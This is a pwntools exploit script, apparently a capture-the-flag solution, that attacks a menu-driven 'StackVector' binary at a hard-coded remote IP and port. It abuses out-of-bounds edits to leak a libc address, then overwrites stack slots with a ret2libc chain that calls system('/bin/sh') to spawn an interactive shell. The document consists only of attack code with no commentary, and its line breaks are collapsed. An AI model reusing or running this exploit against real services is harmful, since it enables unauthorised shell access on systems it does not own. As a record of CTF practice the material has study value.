1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\\x1b[01;38;5;214m' + str(x) + '\\x1b[0m') ll = lambda x : print('\\x1b[01;38;5;1m' + str(x) + '\\x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1 if debug: r = remote('139.155.126.78', 23091) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
def get_libc(): return u64(r.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))
def add(content): r.sendlineafter(b'choice', b'2') r.sendlineafter(b'push', str(content))
def edit(index, content): r.sendlineafter(b'choice', b'1') r.sendlineafter(b'edit', str(index)) r.sendlineafter(b'value', str(content))
def show(): r.sendlineafter(b'choice', b'4')
for i in range(9): add(i)
edit(6, 50) edit(7, 0)
show()
r.recvuntil(b'StackVector contents: ') for i in range(18): r.recvuntil(' ')
num1 = int(r.recvuntil(b' ')[:-1]) num2 = int(r.recvuntil(b' ')[:-1]) libc_base = num2 * 0x100000000 + num1 - 0x29d90
libc = ELF('./2.35/libc.so.6') pop_rdi_ret = libc_base + 0x2a3e5 system = libc_base + libc.sym['system'] binsh = libc_base + libc.search(b'/bin/sh\\x00').__next__() head = (libc_base >> 32) & 0xffffffff
edit(18, (pop_rdi_ret + 1) & 0xffffffff) edit(19, head) edit(20, pop_rdi_ret & 0xffffffff) edit(21, head) edit(22, binsh & 0xffffffff) edit(23, head) edit(24, system & 0xffffffff) edit(25, head)
r.sendlineafter(b'choice', b'5')
r.interactive()
|